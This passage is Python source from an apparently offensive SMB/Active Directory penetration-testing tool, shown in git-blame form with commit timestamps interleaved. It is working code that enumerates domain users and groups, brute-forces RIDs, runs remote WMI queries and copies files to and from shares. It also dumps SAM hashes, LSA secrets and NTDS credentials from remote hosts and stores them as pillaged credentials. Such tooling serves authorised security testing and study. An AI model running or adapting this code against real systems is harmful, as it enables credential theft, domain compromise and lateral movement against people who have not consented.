2017-03-30 00:03:04 +00:00
self . logger . highlight ( ' {} \\ {} ' . format ( domain . upper ( ) , name ) )
try :
group_id = self . db . get_groups ( groupName = self . args . local_groups , groupDomain = domain ) [ 0 ] [ 0 ]
except IndexError :
2017-03-27 21:09:36 +00:00
group_id = self . db . add_group ( domain , self . args . local_groups )
# yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group.
# (╯°□°)╯︵ ┻━┻
if not group . isgroup :
self . db . add_user ( domain , name , group_id )
elif group . isgroup :
self . db . add_group ( domain , name )
2017-04-07 04:34:30 +00:00
break
2017-03-27 21:09:36 +00:00
except Exception as e :
self . logger . error ( ' Error enumerating local groups of {} : {} ' . format ( self . host , e ) )
2016-12-15 07:28:00 +00:00
2017-04-07 04:34:30 +00:00
return groups
2017-03-27 21:09:36 +00:00
2018-02-20 12:57:23 +00:00
def domainfromdsn ( self , dsn ) :
dsnparts = dsn . split ( ' , ' )
domain = " "
for part in dsnparts :
k , v = part . split ( " = " )
if k == " DC " :
if domain == " " :
domain = v
else :
domain = domain + " . " + v
return domain
2017-04-07 04:34:30 +00:00
def groups ( self ) :
groups = [ ]
for dc_ip in self . get_dc_ips ( ) :
2017-03-30 00:03:04 +00:00
if self . args . groups :
2017-04-07 04:34:30 +00:00
try :
groups = get_netgroupmember ( dc_ip , ' ' , self . username , password = self . password ,
lmhash = self . lmhash , nthash = self . nthash , queried_groupname = self . args . groups , queried_sid = str ( ) ,
queried_domain = str ( ) , ads_path = str ( ) , recurse = False , use_matching_rule = False ,
full_data = False , custom_filter = str ( ) )
self . logger . success ( ' Enumerated members of domain group ' )
for group in groups :
self . logger . highlight ( ' {} \\ {} ' . format ( group . memberdomain , group . membername ) )
try :
group_id = self . db . get_groups ( groupName = self . args . groups , groupDomain = group . groupdomain ) [ 0 ] [ 0 ]
except IndexError :
group_id = self . db . add_group ( group . groupdomain , self . args . groups )
if not group . isgroup :
self . db . add_user ( group . memberdomain , group . membername , group_id )
elif group . isgroup :
self . db . add_group ( group . groupdomain , group . groupname )
break
except Exception as e :
self . logger . error ( ' Error enumerating domain group members using dc ip {} : {} ' . format ( dc_ip , e ) )
2017-03-30 00:03:04 +00:00
else :
2017-04-07 04:34:30 +00:00
try :
groups = get_netgroup ( dc_ip , ' ' , self . username , password = self . password ,
lmhash = self . lmhash , nthash = self . nthash , queried_groupname = str ( ) , queried_sid = str ( ) ,
queried_username = str ( ) , queried_domain = str ( ) , ads_path = str ( ) ,
admin_count = False , full_data = True , custom_filter = str ( ) )
self . logger . success ( ' Enumerated domain group(s) ' )
for group in groups :
self . logger . highlight ( ' {:<40} membercount: {} ' . format ( group . samaccountname , len ( group . member ) if hasattr ( group , ' member ' ) else 0 ) )
if bool ( group . isgroup ) is True :
# Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name
2018-02-20 12:57:23 +00:00
domain = self . domainfromdsn ( group . distinguishedname )
2017-04-07 04:34:30 +00:00
self . db . add_group ( domain , group . samaccountname )
break
except Exception as e :
self . logger . error ( ' Error enumerating domain group using dc ip {} : {} ' . format ( dc_ip , e ) )
2017-03-30 00:03:04 +00:00
2017-04-07 04:34:30 +00:00
return groups
2017-03-27 21:09:36 +00:00
def users ( self ) :
2017-04-07 04:34:30 +00:00
users = [ ]
for dc_ip in self . get_dc_ips ( ) :
2017-03-27 21:09:36 +00:00
try :
users = get_netuser ( dc_ip , ' ' , self . username , password = self . password , lmhash = self . lmhash ,
nthash = self . nthash , queried_username = self . args . users , queried_domain = ' ' , ads_path = str ( ) ,
admin_count = False , spn = False , unconstrained = False , allow_delegation = False ,
custom_filter = str ( ) )
2017-03-30 00:03:04 +00:00
self . logger . success ( ' Enumerated domain user(s) ' )
2017-03-27 21:09:36 +00:00
for user in users :
2018-02-20 12:57:23 +00:00
domain = self . domainfromdsn ( user . distinguishedname )
self . logger . highlight ( ' {} \\ {:<30} badpwdcount: {} baddpwdtime: {} ' . format ( domain , user . samaccountname , getattr ( user , ' badpwdcount ' , 0 ) , getattr ( user , ' badpasswordtime ' , ' ' ) ) )
self . db . add_user ( domain , user . samaccountname )
2017-03-30 00:03:04 +00:00
2017-04-07 04:34:30 +00:00
break
2017-03-27 21:09:36 +00:00
except Exception as e :
2017-04-07 04:34:30 +00:00
logging . debug ( ' Error enumerating domain users using dc ip {} : {} ' . format ( dc_ip , e ) )
return users
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
def loggedon_users ( self ) :
2017-04-07 04:34:30 +00:00
loggedon = [ ]
try :
loggedon = get_netloggedon ( self . host , self . domain , self . username , self . password , lmhash = self . lmhash , nthash = self . nthash )
self . logger . success ( ' Enumerated loggedon users ' )
for user in loggedon :
2017-10-25 02:08:19 +00:00
self . logger . highlight ( ' {} \\ {:<25} {} ' . format ( user . wkui1_logon_domain , user . wkui1_username ,
2017-04-07 04:34:30 +00:00
' logon_server: {} ' . format ( user . wkui1_logon_server ) if user . wkui1_logon_server else ' ' ) )
except Exception as e :
self . logger . error ( ' Error enumerating logged on users: {} ' . format ( e ) )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
return loggedon
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
def pass_pol ( self ) :
2017-04-10 07:24:23 +00:00
return PassPolDump ( self ) . dump ( )
2017-04-05 15:07:00 +00:00
@requires_admin
def wmi ( self , wmi_query = None , namespace = None ) :
records = [ ]
if not namespace :
namespace = self . args . wmi_namespace
try :
rpc = RPCRequester ( self . host , self . domain , self . username , self . password , self . lmhash , self . nthash )
rpc . _create_wmi_connection ( namespace = namespace )
if wmi_query :
query = rpc . _wmi_connection . ExecQuery ( wmi_query , lFlags = WBEM_FLAG_FORWARD_ONLY )
else :
query = rpc . _wmi_connection . ExecQuery ( self . args . wmi , lFlags = WBEM_FLAG_FORWARD_ONLY )
except Exception as e :
self . logger . error ( ' Error creating WMI connection: {} ' . format ( e ) )
return records
while True :
try :
wmi_results = query . Next ( 0xffffffff , 1 ) [ 0 ]
record = wmi_results . getProperties ( )
records . append ( record )
2019-11-10 23:12:35 +00:00
for k , v in record . items ( ) :
2017-04-05 15:07:00 +00:00
self . logger . highlight ( ' {} => {} ' . format ( k , v [ ' value ' ] ) )
2017-04-07 04:34:30 +00:00
self . logger . highlight ( ' ' )
2017-04-05 15:07:00 +00:00
except Exception as e :
if str ( e ) . find ( ' S_FALSE ' ) < 0 :
raise e
else :
break
return records
def spider ( self , share = None , folder = ' . ' , pattern = [ ] , regex = [ ] , exclude_dirs = [ ] , depth = None , content = False , onlyfiles = True ) :
spider = SMBSpider ( self . conn , self . logger )
self . logger . info ( ' Started spidering ' )
start_time = time ( )
if not share :
2017-10-25 02:08:19 +00:00
spider . spider ( self . args . spider , self . args . spider_folder , self . args . pattern ,
self . args . regex , self . args . exclude_dirs , self . args . depth ,
2017-04-05 15:07:00 +00:00
self . args . content , self . args . only_files )
else :
spider . spider ( share , folder , pattern , regex , exclude_dirs , depth , content , onlyfiles )
self . logger . info ( " Done spidering (Completed in {} ) " . format ( time ( ) - start_time ) )
return spider . results
def rid_brute ( self , maxRid = None ) :
entries = [ ]
if not maxRid :
2017-10-25 03:30:14 +00:00
maxRid = int ( self . args . rid_brute )
2017-04-05 15:07:00 +00:00
KNOWN_PROTOCOLS = {
135 : { ' bindstr ' : r ' ncacn_ip_tcp: %s ' , ' set_host ' : False } ,
139 : { ' bindstr ' : r ' ncacn_np: {} [ \ pipe \ lsarpc] ' , ' set_host ' : True } ,
445 : { ' bindstr ' : r ' ncacn_np: {} [ \ pipe \ lsarpc] ' , ' set_host ' : True } ,
}
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
try :
2017-05-03 00:52:16 +00:00
stringbinding = KNOWN_PROTOCOLS [ self . args . port ] [ ' bindstr ' ] . format ( self . host )
2017-04-05 15:07:00 +00:00
logging . debug ( ' StringBinding {} ' . format ( stringbinding ) )
rpctransport = transport . DCERPCTransportFactory ( stringbinding )
2017-05-03 00:52:16 +00:00
rpctransport . set_dport ( self . args . port )
2017-04-05 15:07:00 +00:00
2017-05-03 00:52:16 +00:00
if KNOWN_PROTOCOLS [ self . args . port ] [ ' set_host ' ] :
2017-04-05 15:07:00 +00:00
rpctransport . setRemoteHost ( self . host )
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
if hasattr ( rpctransport , ' set_credentials ' ) :
# This method exists only for selected protocol sequences.
rpctransport . set_credentials ( self . username , self . password , self . domain , self . lmhash , self . nthash )
dce = rpctransport . get_dce_rpc ( )
dce . connect ( )
except Exception as e :
self . logger . error ( ' Error creating DCERPC connection: {} ' . format ( e ) )
return entries
# Want encryption? Uncomment next line
# But make SIMULTANEOUS variable <= 100
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
# Want fragmentation? Uncomment next line
#dce.set_max_fragment_size(32)
self . logger . success ( ' Brute forcing RIDs ' )
dce . bind ( lsat . MSRPC_UUID_LSAT )
2019-11-11 10:06:39 +00:00
resp = lsad . hLsarOpenPolicy2 ( dce , MAXIMUM_ALLOWED | lsat . POLICY_LOOKUP_NAMES )
2017-04-05 15:07:00 +00:00
policyHandle = resp [ ' PolicyHandle ' ]
resp = lsad . hLsarQueryInformationPolicy2 ( dce , policyHandle , lsad . POLICY_INFORMATION_CLASS . PolicyAccountDomainInformation )
domainSid = resp [ ' PolicyInformation ' ] [ ' PolicyAccountDomainInfo ' ] [ ' DomainSid ' ] . formatCanonical ( )
soFar = 0
SIMULTANEOUS = 1000
2019-11-11 10:06:39 +00:00
for j in range ( maxRid / / SIMULTANEOUS + 1 ) :
if ( maxRid - soFar ) / / SIMULTANEOUS == 0 :
2017-04-05 15:07:00 +00:00
sidsToCheck = ( maxRid - soFar ) % SIMULTANEOUS
2017-10-25 02:08:19 +00:00
else :
2017-04-05 15:07:00 +00:00
sidsToCheck = SIMULTANEOUS
2017-10-25 02:08:19 +00:00
2017-04-05 15:07:00 +00:00
if sidsToCheck == 0 :
break
sids = list ( )
2019-11-11 10:06:39 +00:00
for i in range ( soFar , soFar + sidsToCheck ) :
2017-04-05 15:07:00 +00:00
sids . append ( domainSid + ' - %d ' % i )
try :
lsat . hLsarLookupSids ( dce , policyHandle , sids , lsat . LSAP_LOOKUP_LEVEL . LsapLookupWksta )
2019-11-11 10:06:39 +00:00
except DCERPCException as e :
2017-04-05 15:07:00 +00:00
if str ( e ) . find ( ' STATUS_NONE_MAPPED ' ) > = 0 :
soFar + = SIMULTANEOUS
continue
elif str ( e ) . find ( ' STATUS_SOME_NOT_MAPPED ' ) > = 0 :
resp = e . get_packet ( )
2017-10-25 02:08:19 +00:00
else :
2017-04-05 15:07:00 +00:00
raise
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
for n , item in enumerate ( resp [ ' TranslatedNames ' ] [ ' Names ' ] ) :
if item [ ' Use ' ] != SID_NAME_USE . SidTypeUnknown :
rid = soFar + n
domain = resp [ ' ReferencedDomains ' ] [ ' Domains ' ] [ item [ ' DomainIndex ' ] ] [ ' Name ' ]
user = item [ ' Name ' ]
sid_type = SID_NAME_USE . enumItems ( item [ ' Use ' ] ) . name
self . logger . highlight ( " {} : {} \\ {} ( {} ) " . format ( rid , domain , user , sid_type ) )
entries . append ( { ' rid ' : rid , ' domain ' : domain , ' username ' : user , ' sidtype ' : sid_type } )
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
soFar + = SIMULTANEOUS
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
dce . disconnect ( )
2016-12-15 07:28:00 +00:00
2017-04-05 15:07:00 +00:00
return entries
2016-12-15 07:28:00 +00:00
2020-04-28 16:22:30 +00:00
@requires_admin
def put_file ( self ) :
self . logger . info ( ' Copy {} to {} ' . format ( self . args . put_file [ 0 ] , self . args . put_file [ 1 ] ) )
with open ( self . args . put_file [ 0 ] , ' rb ' ) as file :
try :
self . conn . putFile ( self . args . share , self . args . put_file [ 1 ] , file . read )
2020-04-28 16:28:25 +00:00
self . logger . success ( ' Created file {} on \\ \\ {} {} ' . format ( self . args . put_file [ 0 ] , self . args . share , self . args . put_file [ 1 ] ) )
2020-04-28 16:22:30 +00:00
except Exception as e :
self . logger . error ( ' Error writing file to share {} : {} ' . format ( self . args . share , e ) )
@requires_admin
def get_file ( self ) :
self . logger . info ( ' Copy {} to {} ' . format ( self . args . get_file [ 0 ] , self . args . get_file [ 1 ] ) )
with open ( self . args . get_file [ 1 ] , ' wb+ ' ) as file :
try :
self . conn . getFile ( self . args . share , self . args . get_file [ 0 ] , file . write )
self . logger . success ( ' File {} was transferred to {} ' . format ( self . args . get_file [ 0 ] , self . args . get_file [ 1 ] ) )
except Exception as e :
self . logger . error ( ' Error reading file {} : {} ' . format ( self . args . share , e ) )
2016-12-15 07:28:00 +00:00
def enable_remoteops ( self ) :
if self . remote_ops is not None and self . bootkey is not None :
return
try :
self . remote_ops = RemoteOperations ( self . conn , False , None ) #self.__doKerberos, self.__kdcHost
self . remote_ops . enableRegistry ( )
self . bootkey = self . remote_ops . getBootKey ( )
except Exception as e :
self . logger . error ( ' RemoteOperations failed: {} ' . format ( e ) )
@requires_admin
def sam ( self ) :
self . enable_remoteops ( )
2017-03-27 21:09:36 +00:00
host_id = self . db . get_computers ( filterTerm = self . host ) [ 0 ] [ 0 ]
def add_sam_hash ( sam_hash , host_id ) :
add_sam_hash . sam_hashes + = 1
self . logger . highlight ( sam_hash )
username , _ , lmhash , nthash , _ , _ , _ = sam_hash . split ( ' : ' )
self . db . add_credential ( ' hash ' , self . hostname , username , ' : ' . join ( ( lmhash , nthash ) ) , pillaged_from = host_id )
add_sam_hash . sam_hashes = 0
2016-12-15 07:28:00 +00:00
if self . remote_ops and self . bootkey :
2017-03-27 21:09:36 +00:00
#try:
SAMFileName = self . remote_ops . saveSAM ( )
SAM = SAMHashes ( SAMFileName , self . bootkey , isRemote = True , perSecretCallback = lambda secret : add_sam_hash ( secret , host_id ) )
self . logger . success ( ' Dumping SAM hashes ' )
SAM . dump ( )
SAM . export ( self . output_filename )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
self . logger . success ( ' Added {} SAM hashes to the database ' . format ( highlight ( add_sam_hash . sam_hashes ) ) )
#except Exception as e:
#self.logger.error('SAM hashes extraction failed: {}'.format(e))
try :
self . remote_ops . finish ( )
2016-12-15 07:28:00 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
logging . debug ( " Error calling remote_ops.finish(): {} " . format ( e ) )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
SAM . finish ( )
2016-12-15 07:28:00 +00:00
@requires_admin
def lsa ( self ) :
self . enable_remoteops ( )
2017-03-27 21:09:36 +00:00
def add_lsa_secret ( secret ) :
add_lsa_secret . secrets + = 1
self . logger . highlight ( secret )
add_lsa_secret . secrets = 0
2016-12-15 07:28:00 +00:00
if self . remote_ops and self . bootkey :
2017-03-27 21:09:36 +00:00
SECURITYFileName = self . remote_ops . saveSECURITY ( )
2016-12-15 07:28:00 +00:00
2017-10-25 02:08:19 +00:00
LSA = LSASecrets ( SECURITYFileName , self . bootkey , self . remote_ops , isRemote = True ,
2017-03-27 21:09:36 +00:00
perSecretCallback = lambda secretType , secret : add_lsa_secret ( secret ) )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
self . logger . success ( ' Dumping LSA secrets ' )
LSA . dumpCachedHashes ( )
LSA . exportCached ( self . output_filename )
LSA . dumpSecrets ( )
LSA . exportSecrets ( self . output_filename )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
self . logger . success ( ' Dumped {} LSA secrets to {} and {} ' . format ( highlight ( add_lsa_secret . secrets ) ,
2019-12-19 09:12:17 +00:00
self . output_filename + ' .secrets ' , self . output_filename + ' .cached ' ) )
2017-03-27 21:09:36 +00:00
try :
self . remote_ops . finish ( )
2016-12-15 07:28:00 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
logging . debug ( " Error calling remote_ops.finish(): {} " . format ( e ) )
2016-12-15 07:28:00 +00:00
2017-03-27 21:09:36 +00:00
LSA . finish ( )
2016-12-15 07:28:00 +00:00
def ntds ( self ) :
self . enable_remoteops ( )
2017-03-27 21:09:36 +00:00
use_vss_method = False
NTDSFileName = None
2017-03-30 00:03:04 +00:00
host_id = self . db . get_computers ( filterTerm = self . host ) [ 0 ] [ 0 ]
def add_ntds_hash ( ntds_hash , host_id ) :
2017-03-27 21:09:36 +00:00
add_ntds_hash . ntds_hashes + = 1
self . logger . highlight ( ntds_hash )
2017-03-30 00:03:04 +00:00
if ntds_hash . find ( ' $ ' ) == - 1 :
if ntds_hash . find ( ' \\ ' ) != - 1 :
domain , hash = ntds_hash . split ( ' \\ ' )
else :
domain = self . domain
hash = ntds_hash
try :
username , _ , lmhash , nthash , _ , _ , _ = hash . split ( ' : ' )
parsed_hash = ' : ' . join ( ( lmhash , nthash ) )
if validate_ntlm ( parsed_hash ) :
self . db . add_credential ( ' hash ' , domain , username , parsed_hash , pillaged_from = host_id )
add_ntds_hash . added_to_db + = 1
return
raise
except :
logging . debug ( " Dumped hash is not NTLM, not adding to db for now ;) " )
else :
logging . debug ( " Dumped hash is a computer account, not adding to db " )
2017-03-27 21:09:36 +00:00
add_ntds_hash . ntds_hashes = 0
2017-03-30 00:03:04 +00:00
add_ntds_hash . added_to_db = 0
2016-12-15 07:28:00 +00:00
if self . remote_ops and self . bootkey :
try :
2020-04-20 00:22:03 +00:00
if self . args . ntds == ' vss ' :
2017-03-27 21:09:36 +00:00
NTDSFileName = self . remote_ops . saveNTDS ( )
use_vss_method = True
2017-10-25 02:08:19 +00:00
NTDS = NTDSHashes ( NTDSFileName , self . bootkey , isRemote = True , history = False , noLMHash = True ,
2017-03-27 21:09:36 +00:00
remoteOps = self . remote_ops , useVSSMethod = use_vss_method , justNTLM = False ,
2017-10-25 02:08:19 +00:00
pwdLastSet = False , resumeSession = None , outputFileName = self . output_filename ,
justUser = None , printUserStatus = False ,
2017-03-30 00:03:04 +00:00
perSecretCallback = lambda secretType , secret : add_ntds_hash ( secret , host_id ) )
2017-03-27 21:09:36 +00:00
self . logger . success ( ' Dumping the NTDS, this could take a while so go grab a redbull... ' )
NTDS . dump ( )
2017-10-25 02:08:19 +00:00
self . logger . success ( ' Dumped {} NTDS hashes to {} of which {} were added to the database ' . format ( highlight ( add_ntds_hash . ntds_hashes ) , self . output_filename + ' .ntds ' ,
2017-03-30 00:03:04 +00:00
highlight ( add_ntds_hash . added_to_db ) ) )
2016-12-15 07:28:00 +00:00
except Exception as e :
2017-03-27 21:09:36 +00:00
#if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
2016-12-15 07:28:00 +00:00
# We don't store the resume file if this error happened, since this error is related to lack
# of enough privileges to access DRSUAPI.
2017-03-27 21:09:36 +00:00
# resumeFile = NTDS.getResumeSessionFile()
# if resumeFile is not None:
# os.unlink(resumeFile)
2016-12-15 07:28:00 +00:00
self . logger . error ( e )
2017-03-27 21:09:36 +00:00
try :
self . remote_ops . finish ( )
except Exception as e :
logging . debug ( " Error calling remote_ops.finish(): {} " . format ( e ) )
2016-12-15 07:28:00 +00:00
2017-06-13 18:59:18 +00:00
NTDS . finish ( )